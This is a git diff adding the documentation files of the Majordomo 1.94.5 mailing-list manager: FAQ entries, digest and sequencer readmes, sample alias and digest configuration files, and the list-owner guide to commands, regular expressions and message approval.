site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/README b/update/scripts/packages/majordomo-1.94.5/Doc/README new file mode 100644 index 0000000..3308474 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/README @@ -0,0 +1,40 @@ +FAQ + The Majordomo FAQ, originally written by Vincent + D. Skahan, now maintained by barr@math.psu.edu (David Barr). + +majordomo-faq.html + An html version of the FAQ. + +majordomo.lisa6.ps + The original Majordomo paper from the USENIX LISA VI conference + in October, 1992. While this paper is somewhat out of date + (some of the details about how Majordomo works have changed, + and many of the items mentioned as "to be implemented later" + have since been implemented), it remains a valuable + introduction to Majordomo's basic form and structure. + +list-owner-info + has information for list owner to get them started using + majordomo and the config files. + + +majordomo.ora + This file is the chapter about Majordomo from the Nutshell Handbook + "Managing Internet Information Services," written by Jerry Peek. + The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., + and was included in the Majordomo distribution by permission of the + publisher. + + This chapter is a good introduction to setting up the + majordomo software, be warned that it does not cover much of + the list operation details under 1.90 that deal with config + files. Then again the config files are supposed to be self + documenting. A newer version of this chapter that has been + updated for 1.90 is in the works, and should make it into the + "Managing Internet Information Services" book. This newer + chapter should be available via ftp in due time. Stay tuned to + the majordomo-announce or majordomo-users mailing list for + details. + +man + Some man pages for majordomo and approve. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/README.digest b/update/scripts/packages/majordomo-1.94.5/Doc/README.digest new file mode 100644 index 0000000..0cfbeb0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/README.digest @@ -0,0 +1,110 @@ +This digestifier follows RFC 934, so it should be compatible with +almost any digest-digester that comes along. + +This creates a properly formatted digest and mails it. It automatically +increments the issue number, but not the volume number. + +The digest script has two modes: receiving messages and creating a +digest. It receives email messages via stdin and places them in +a work directory. In digest-creation mode, it takes those messages +from the work directory, assembles them into a digest in an archive +directory, and mails the digest. + +If there are no messages in the work directory, it exits saying, +"No messages to process." + +One of the digest's required configuration values is the size limit +in characters. If you use digest's -r option to receive digests, a +digest will automatically be sent whenever this limit is passed. + +There are also two optional parameters that can cause digests to +be created and sent: the digest length limit in lines, and the +age in days of the oldest undigested message. + +These values are checked every time a message is received (if +you are using the -r option). + + +There are two ways of setting up a digest: as a majordomo list, +or as a standalone. All of the files in this directory (excepting +the digest script) are for the standalone configuration. They are +IGNORED by majordomo. + +If you are setting up a majordomo digest list, ALL your configuration +values come from majordomo.cf and the digest list's config file +(whatever-digest.config), NOT from the files in this directory. + +To set up a majordomo digest list, you need + + - digest work directory for incoming messages. + This must be under the root $digest_work_dir from majordomo.cf + - digest archive directory for completed digests. + This must be under the root $filedir from majordomo.cf, + and the directory name must end in $filedir_suffix. + - the majordomo digest list. This is just like an ordinary + majordomo list, except that you need to set the various + digest parameters in the list's configuration file + ($listdir/whatever-digest.config). They are well commented. + Make sure that in the message_footer and message_fronter + that you begin all lines that need to be blank with a '-', + and if you want the line to begin with whitespace, precede + the whitespace with a '-'. + - aliases for the digest. There are examples in aliases.slice. + +You can set up a cron job to make the digests go at regular intervals. +If you take incoming messages with the -r option, digests will also +be created whenever there are long enough messages, or whenever the first +message is old enough. The -R option will prevent this from happening; +it just accepts messages, so digests can be mailed whenever you or your +cron job say. The -m option (which is used by majordomo's mkdigest +command) will make a digest if there are ANY messages. The -p option +will only make a digest if there are enough messages, or if the +first message is old enough. Both the -m and -p options could cause +more than one digest to be created and sent. + + +If you only want to set up a majordomo digest, stop reading now, +because the rest of this file is about the standalone configuration. + +------------------------------------------------------------------------------ + +If you are setting up a standalone digest, ALL of your configuration +values come from the digest configuration file. There is a sample +config file in this directory (firewalls-digest.cf). The default +name for the configuration file is ~/.digestrc, which could make +it easy to pipe mail from your mail reader into the digest, if +that's how you want to feed it. + +To make a standalone digest, you need these things: + + - digest work directory for incoming messages + - digest archive directory for completed digests + - a digest config file, ~/.digestrc by default (sample in + firewalls-digest.cf) + - a digest header file (sample is firewalls-digest.header) + - a digest trailer file (sample is firewalls-digest.trailer) + - a digest volume-number file (sample is firewalls-digest.vol) + - a digest issue-number file (sample is firewalls-digest.num) + - RFC-822 messages, stored one per file + +The config file is commented, and the format should be obvious. The +only two things to watch for in the header and trailer files are: + + - a line containing _SUBJECTS_ in the header file will be + replaced by lines consisting of all of the subjects in the + included messages, in order, indented as far as _SUBJECTS_ is. + + - lines beginning with "-" in these files will not be + properly encapsulated, and will be interpreted by + undigesting software as message breaks. + +You need to pipe the incoming messages to "digest [-c config_file]" +for example: + + cat email_message | digest -c /usr/local/digest/banjo.cf + +And you can use either the -m or -p option to build a digest: + + digest -m -c /usr/local/digest/banjo.cf + +for example. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/README.sequencer b/update/scripts/packages/majordomo-1.94.5/Doc/README.sequencer new file mode 100644 index 0000000..75fb175 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/README.sequencer @@ -0,0 +1,69 @@ +sequencer - a majordomo module + +Shane P. McCarron +MACS, Inc. + +Copyright MACS Inc, 1996 + +All rights to this package are hereby contributed to the community, +and in particular to the MajorDomo development group, to do with as +they see fit. + +Introduction + +Sequencer is a perl script based upon the resend script in the +majordomo release 1.9.3. The script has been modified to (optionally) +provide for sequence numbering of messages in their subject lines. +This modification takes advantage of the 'subject-prefix' +configuration variable already supported by majordomo, expanding it by +including an additiona '$SEQNUM' expandable variable. Expansion of +this variable is handled in the sequencer script so that the majordomo +and config-parse.pl scripts did not have to be modified. Processing of +$SEQNUM could be moved back into the config-parse.pl library if the +development team believes this is useful. + + +Documentation + +Sequencing is invoked by calling the sequencer script +with a '-n' (numbering) option. When this option is selected, the +script uses a listname.seq file in the $filedir directory to determine +the next message number. It uses the shlock.pl library to keep this file +locked while the message is being processed (to prevent multiple use +of the same sequence number, and skipping of sequence numbers when a +message is bounced late in the script). + +If there is a subject-prefix defined for the mailing list, and if +there is a $SEQNUM in the defined subject-prefix, then the message's +sequence number is placed in the subject line. + +This script also provides for archiving the messages by sequence +number. If the -N option is selected, then a copy of the message will +be placed in the list's archive directory with the file name equal to +the message's sequence number. In addition, if there is a file called +INDEX in the archive directory, the message's date, time, author, and +subject will be placed in that INDEX. Note that the -N option +necessarily implies the -n option, since archiving without a valid +sequnce number would be silly. Logically, -N is just a bigger +version of -n. + +This script also handles the absence of a subject. If there is no +subject, the script creates a Subject: line with a subject of +"Message for listname". This subject will also get a sequence number +of the requirements specified above are satisfied. + +Finally, the script increments the sequence number and updates the +number in the listname.seq file, releasing the lock. + +Conclusion + +These extensions are pretty straightforward. I would recommend rolling +them into the resend script. I would further recommend adding the +$SEQNUM processing to the subject-prefix handler and getting the +special case code out of the script. However, this could continue to +exist as a standalone script. That is how I have done my +implementation. + +Also, I think it would be useful to include a man page for resend. If +you don't have the time, I would be happy to try and put one together. +However, I haven't written using the man macros in quite a while :-) diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/digest.aliases b/update/scripts/packages/majordomo-1.94.5/Doc/digest.aliases new file mode 100644 index 0000000..eb1c1a6 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/digest.aliases @@ -0,0 +1,18 @@ + +firewalls: "|/usr/local/mail/majordomo/wrapper resend -l firewalls -h GreatCircle.COM firewalls-outgoing" +firewalls-outgoing: :include:/usr/local/mail/lists/firewalls, firewalls-archive, firewalls-digestify +firewalls-request: "|/usr/local/mail/majordomo/wrapper majordomo -l firewalls" +firewalls-approval: brent +owner-firewalls: brent +owner-firewalls-outgoing: owner-firewalls + +firewalls-archive: /usr/local/mail/archive/firewalls + +firewalls-digestify: "|/usr/local/mail/majordomo/wrapper digest -r -C -l firewalls-digest firewalls-digest-outgoing" + +firewalls-digest: firewalls +firewalls-digest-outgoing: :include:/usr/local/mail/lists/firewalls-digest +firewalls-digest-request: "|/usr/local/mail/majordomo/wrapper majordomo -l firewalls-digest" +firewalls-digest-approval: brent +owner-firewalls-digest-outgoing: owner-firewalls + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf new file mode 100644 index 0000000..ee9b8d0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf @@ -0,0 +1,51 @@ +#Digest configuration file +# + +#name that appears in subject line and digest banner +NAME=Firewalls Digest + +#address reader send to to reply to the entire list +REPLY-TO=Firewalls@GreatCircle.COM + +#address error messages should go to +ERRORS-TO=Firewalls-Digest-Owner@GreatCircle.COM + +#address the digest itself appears to be sent to +TO=Firewalls-Digest@GreatCircle.COM + +#address the digest really is sent to +REALLY-TO=Firewalls-Digest-Send@GreatCircle.COM + +#address administrative nonsense should go to +FROM=Firewalls-Digest-Owner@GreatCircle.COM + +#file containing header text +HEADER=/mycroft/brent/digest/firewalls-digest.header + +#file containing trailer text +TRAILER=/mycroft/brent/digest/firewalls-digest.trailer + +#directory to store incoming messages +#INCOMING=/usr/local/mail/digests/incoming/firewalls +INCOMING=/mycroft/brent/digest/incoming + +#file containing volume number +VOL_FILE=/mycroft/brent/digest/firewalls-digest.vol + +#file containing issue number +NUM_FILE=/mycroft/brent/digest/firewalls-digest.num + +#directory to archive outgoing issues +ARCHIVE=/mycroft/brent/digest/archive + +#directory containing shlock.pl and other stuff +HOME=/mycroft/brent/digest + +#how big do we let digests get before sending? +DIGEST_SIZE=40000 + +#how many lines can a digest accumulate before we send it? +DIGEST_LINES= + +#what is the oldest message we will put in a digest? +MAX_DAYS= diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header new file mode 100644 index 0000000..b1f57ad --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header @@ -0,0 +1,6 @@ +In this issue: + + _SUBJECTS_ + +See the end of the digest for information on subscribing to the Firewalls +or Firewalls-Digest mailing lists and on how to retrieve back issues. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num new file mode 100644 index 0000000..b1bd38b --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num @@ -0,0 +1 @@ +13 diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer new file mode 100644 index 0000000..4fc730b --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer @@ -0,0 +1,18 @@ +To subscribe to Firewalls-Digest, send the command: + + subscribe firewalls-digest + +in the body of a message to "Majordomo@GreatCircle.COM". If you want +to subscribe something other than the account the mail is coming from, +such as a local redistribution list, then append that address to the +"subscribe" command; for example, to subscribe "local-firewalls": + + subscribe firewalls-digest local-firewalls@your.domain.net + +A non-digest (direct mail) version of this list is also available; to +subscribe to that instead, replace all instances of "firewalls-digest" +in the commands above with "firewalls". + +Back issues are available for anonymous FTP from FTP.GreatCircle.COM, in +pub/firewalls/digest/vNN.nMMM (where "NN" is the volume number, and "MMM" +is the issue number). diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol new file mode 100644 index 0000000..d00491f --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol @@ -0,0 +1 @@ +1 diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/list-owner-info b/update/scripts/packages/majordomo-1.94.5/Doc/list-owner-info new file mode 100644 index 0000000..b992576 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/list-owner-info @@ -0,0 +1,588 @@ +Majordomo address: # Majordomo@FooBar.COM +Majordomo-Owner address:# Majordomo-Owner@FooBar.COM +List Name: # ListName +Is resend used: # yes +Is the list archived: # no +List posting address: # ListName@FooBar.COM +List request address: # ListName-Request@FooBar.COM +List password: # whatever +Digest list name: # ListName-digest +Digest list password: # whatever + +Your mailing list has been established. It is being served by an +automated mailing list manager that responds to commands emailed to +the "Majordomo address" listed above. This message has all the details +of how to manage your list remotely using Majordomo. If you have any +questions, refer them to the Majordomo-Owner address listed above. + + ****** +There's a lot of info here, so please read this completely and +carefully, and save it for future reference. If you have any questions, +you should send them to the Majordomo-Owner address above. + ****** + +Your list-owner password is shown above. Keep track of this; you'll +need it later. Instructions for changing your password are below. + +As soon as possible, please issue a "newinfo" command for your +list (see below) to create the file that someone will receive when +they join or ask about your list. + +You can issue a "who" command for your list to see who's already on your +list. You may or may not already be subscribed to your own list. + +================ +The Gory Details +================ + +Your mailing list is managed by an automated mailing list management +program called Majordomo. Majordomo should free you from dealing +with most of the administrivia usually associated with running mailing +lists (adding users, dropping users, etc.). + +To submit something to your list, you (or anybody else) should simply +mail it to the list posting address shown at the top of this file. + +To be added to your list, a user simply sends a message to majordomo. +There are two ways to do it: + +address-- To: ListName-request@FooBar.COM +message-- subscribe + + OR + +address-- To: majordomo@FooBar.COM +message-- subscribe ListName + +Majordomo understands several commands, and is not limited to a single +command per message (it will process commands until reaching +end-of-message or the command "end"). The command "help" will tell +you about all the other commands. + +Actually, it won't tell you about _all_ the other commands that +Majordomo understands. There are several commands there for use by +list owners such as yourself, which are not advertised to the public. +All of these commands are password-protected on a list-by-list basis, +but anyone with a valid list/password combination can invoke these +commands. This is not exactly high-tech security, but it's more +intended to keep annoyance to a minimum than to be foolproof. + +The "documented" commands which Majordomo understands and which are +for everyone to use are: + + subscribe [
    ] + unsubscribe [
    ] + which [
    ] + who + info + index + get + lists + help + end + +You can get detailed explanations of all of these by asking for "help" +from Majordomo (send a message containing just the word "help" as the +message text to majordomo@FooBar.COM). + +The "undocumented" commands for use by list owners are: + + approve {subscribe|unsubscribe} [
    ] + This is so that you can approve subscription or unsubscription + actions that need approval by the list owner. Note that this + is just a standard "subscribe" or "unsubscribe" command prefixed + with "approve " (where you substitute the password for + your list, which is listed above, for ""). + + approve who + This allows you to get the list of addresses for your + anonymous list. Without the password, even the list owner can + not see who is on the list. + + passwd + This is so you can change the password for your list, if you desire. + + newintro + This is so that you can replace the information file that people + get when they do "intro " or "subscribe ". It reads + everything after the "newintro" command to end-of-message or the + word "EOF" on a line by itself as the new intro for the list. + + newinfo + This replaces the information file that people get when they do + "info ". (This file is also sent by "subscribe " if + the intro file doesn't exist.) This reads everything after the + "newinfo" command to end-of-message or the word "EOF" on a line + by itself as the new info for the list. + + config + Retrieves a self-documenting configuration file for + the list . The can be the password + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig + Validates and installs a new configuration file. It reads + everything after the "newconfig" command to end-of-message or + the word "EOF" on a line by itself as the new info for the + list. The config file is expected to be a complete config + file as returned by "config". Incremental changing of the + config file is not yet supported. As soon as the config file + is validated and installed its settings are available for + use. This is useful to remember if you have multiple commands + in your mail message since they will be subject to the + settings of the new config file. If there is an error in the + config file (incorrect value...), the config file will not be + accepted and the error message identifying the problem line(s) + will be returned to the sender. Note that only the error + messages are returned to the sender not the entire config + file, so it would be a good idea to keep a copy of your + outgoing email message. + + writeconfig + Write a new config file in standard form. Writeconfig forces a + rewrite of the config file with all default values in place (or + current values if the config file already exists). It is + useful to use after an upgrade of majordomo since it will add + the new keywords for people to change. It also updates the + documentation in the file if that has changed. + + mkdigest + mkdigest + Generate a digest immediately without waiting to reach the + maxlength given in the config file. The first form will cause the + digest to be sent to an alias found by appending "-outgoing" to the + digest list name. Because this can be a security concern, the + second form allows specification of the name of the alias that the + outgoing digest will be sent to. + + +Configuring Your List +===================== + +You should retrieve the configuration file for your list. To do this, +send an email message to the majordomo address listed at the top of +this form. The contents of this message should be: + + config + +Where are given at the top of the form. You +will receive a config file that can be used to change the operation of +your list. If the information at the top of this form shows that +resend is being used, you want to configure the majordomo and resend +subsystems. Otherwise you only have to configure those items that are +associated with the majordomo system. + +The configuration file is meant to be self documenting. Once you have +completed all of the changes to the config file, You should use the +newconfig command (described above) to put a new configuration file in +place. + +If you have a digest version of your list, you should retrieve the +config file for the digest as well using: + + config + +and configure the parameters for the digest and majordomo subsystems. + + +Regular Expressions +=================== + +For some of the configuration options, a rudimentary knowledge of perl +style regular expressions will help you run Majordomo through its +tricks. A regular expression is a concise way of expressing a pattern +in a series of characters. The full power of regular expressions can +make some difficult tasks quite easy, but we will only brush the +surface here. + +The character / is used to mark the beginning and end of a regular +expression. Letters and numbers stand for themselves. Many of the +other characters are symbolic. Some commonly used ones are: + + \@ the `@' found in nearly all addresses; it must be preceeded by a + backslash in later versions of perl to avoid errors + . (period) any character + * previous character, zero or more times; note especially... + .* any character, zero or more times + + previous character, one or more times; so for example... + a+ letter "a", one or more times + \ next character stands for itself; so for example... + \. literally a period, not meaning "any character" + ^ beginning of the string; so for example... + ^a a string beginning with letter "a" + $ end of the string; so for example... + a$ a string ending with letter "a" + +Example 1. + /cs\.umb\.edu/ + +Notice the periods are preceded by a backslash to make them be +literally periods. This matches any string containing cs.umb.edu +such as: + cs.umb.edu + foo.cs.umb.edu + user@foo.cs.umb.edu + users%foo.cs.umb.edu@greatcircle.com + +Example 2. + /rouilj\@.*cs\.umb\.edu/ + +The `@' has special meaning to later versions of perl and must be prefixed +with a backslash to avoid errors. The string ".*" means "any character, +zero or more times". So this matches: + rouilj@cs.umb.edu + rouilj@terminus.cs.umb.edu + arouilj@terminus.cs.umb.edu@greatcircle.com + +but it doesn't match + rouilj@umb.edu + brent@cs.umb.edu + +Example 3. + /^rouilj\@.*cs\.umb\.edu$/ + +This is similar to Example 2, and matches the same first two strings: + rouilj@cs.umb.edu + rouilj@terminus.cs.umb.edu + +but it doesn't match + arouilj@terminus.cs.umb.edu@greatcircle.com + +because the regular expression says the string has to begin with +letter "r" and end with letter "u", by using the ^ and $ symbols, and +neither of those is true for arouilj@terminus.cs.umb.edu@greatcircle.com. + +Example 4. + /.*/ + +This is the regular expression that matches anything. + +Example 5. + /.\*rouilj/ + +Here the * is preceded by a \, so it refers literally to an asterisk +character and not the symbolic meaning "zero or more times". The . still +has its symbolic meaning of "any one character", so it would match for +example + a*rouilj + s*rouilj + +It would not match this because the . by itself implies one character: + *rouilj + +Normally all matches are case sensitive; you can make any match case +insensitive by appending an `i' to the end of the expression. + +Example 6. + /aol\.com/i + +This would match aol.com, AOL.com, AoL.cOm, etc. Removing the `i': + + /aol\.com/ + +would match aol.com but not AOL.com or any other capitalization. + + +To be on the safe side put a \ in front of any characters in the +regular expressions that are not numbers or letters. In order to put +a / into the regular expression, the same rule holds: precede it +with a \. Thus, with \ in front of the / and = characters, this + /\/CO\=US/ + +matches /CO=US and may be a useful regular expression to those of you +who need to deal with X.400 addresses that contain / characters. + + +Approval +======== + +When Majordomo requests your approval for something, it sends you a +message that includes a template of the approval message; if you concur, +you simply need to replace "PASSWORD" in the template with your list +password, and send the template line back to Majordomo. + +The requests for approval that Majordomo generates all start with +"APPROVE" in the "Subject:" line. + +You aren't limited to approving only things to Majordomo requests +approval for. You can approve any "subscribe" or "unsubscribe" request, +regardless of whether Majordomo has requested this approval, with an +"approve" command. Thus, you can subscribe or unsubscribe people from +your list without them having to send anything to Majordomo; just +send an appropriate "approve PASSWORD subscribe LIST ADDRESS" or +"approve PASSWORD unsubscribe LIST ADDRESS" command off to Majordomo. + +If you use a mailer which is capable of sending a message to an external +program, can run perl and can run sendmail or a program capable of behaving +like it for the purposes of sending mail, then all you have to do is send +the entire approval message (including all of the headers, which are very +important and which are automatically removed by some mailers unless +configured to do otherwise) to the approve script. Approve looks for a +file called ".majordomo" in your home directory to find the approval +password for your list. The format of this file is given in the following +excerpt from the approve manual page: + + approve assumes that the approve password for each list is + the same as the approval password used by resend, and that + this password is stored in a file called .majordomo in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +If you have the necessary environment for running the approve script, +contact the Majordomo owner at the site that serves your list and request +it. + + +Bounced Messages +================ + +Majordomo may bounce certain messages that people attempt to post to your +mailing list. These messages may be bounced because they appear to be +administrative requests (i.e., someone mailed a request to subscribe or +unsubscribe to the posting address rather than to Majordomo or to the +-request address), because they are too long, because they match strings +that you or the list server owner has defined as being "taboo", or for any +of a number of other reasons, many of which may seem annoying but have been +decided upon as being useful in stopping unwanted messages from making it +onto your list. (These are often configurable, so if you find a check to +be too restrictive you can generally turn it off.) Note also that the +bounces mentioned here are not the same as the errors that will be returned +by various mail servers when addresses or hosts are unreachable. Those are +generally referred to as bounces, also; sorry for the confusion. + +Majordomo will forward these messages to you in another message whose +subject line begins with the word "BOUNCE"; the subject line will also +indicate the name of the list the message was bounced from (in case you +manage more than one list) and the reason the message was bounced. + +If you decide that the message is OK and should not have been bounced, then +you can cause Majordomo to post it anyway by sending the message back to +the posting address (NOT to the Majordomo address) with a special +"Approved: password" header. There are two ways to do this; the method you +use depends on your having access to and the ability to run the approve +script mentioned in the previous section. If you can run approve it is +recommended that you do so, as this method is much less prone to errors and +will reduce the time you spend moderating your list. + +If you cannot run the approve script, you can manually approve the +message. To do so, follow the following directions _exactly_: + + 1) Save the original message (the body of the message you received + from Majordomo) in a file. The portion you need will consist of + the headers of the original message, followed by a single blank + line, followed by the text of the original message. You do not + need to include any of the headers of the message which contained + the original message. Here's a quick example: + +From: majordomo@list.server \ +To: your-list-approval@list.server | Don't want these headers +Subject: BOUNCE: taboo_header found / + - Blank line +>From list-member@her.site date \ +Received: some long routing info | Headers of original message; +From: list-member@her.site | You want these. It's OK if you +To: your-list@list.server | don't have the first line. +Subject: Just a message / + - Blank line, you _must_ have this! +Hello. I'm just writing to \ +consume some bandwidth and | Message body; include all of +take up space in your mail | this. +spool! / + + Basically you want everything after (and not including) the first + blank line. + + 2) Edit the file to insert a line that says "Approved: password" (where + "password" is the password for your list) at the top, before the + original message, with absolutely no intervening space: + +Approved: sekrit +>From list-member@her.site date +Received: some long routing info +From: list-member@her.site +To: your-list@list.server +Subject: Just a message + +Hello. I'm just writing to +consume some bandwidth and +take up space in your mail +spool! + + 3) Send this edited file back to the posting address for your list (NOT + to Majordomo). You should make sure that your mailer doesn't try + to do anything like include your prepared mail as an attachment, + encode it somehow, indent every line, or add anything extra to the + beginning or end of the message. There are mailers that will do + pretty horrible things to messages before they are sent; you should + take care that you aren't using one or, if you are, you have it + configured to pass your text on unadulterated. + +This time around, Majordomo will notice the "Approved:" line and check it +against your list password. If it matches, Majordomo will strip off the +header of your message and the "Approved:" line (leaving just the original +message), and send the original message on through. + +Even your own messages bay be bounced to you for approval. To send out your +own message without server checks (perhaps you know it contains something +the list server will complain about) you can pre-approve the message one of +the two following ways: + +If you're using a mailer that can add additional headers, add one like the +following: + +Approved: sekrit + +It's precise location within the headers is not important. + +If your mailer does not allow you to add additional headers, you can add +the line: + +Approved: sekrit + +as the first line of the message, followed by a blank line (which is +required for your message to be sent properly) followed by the text of your +message. The Approved: line and one following blank line will be deleted +and the message will be passed without being checked. The blank line is +important because it is used to differentiate between a pre-approval and the +approval of a bounced message, outlined above. 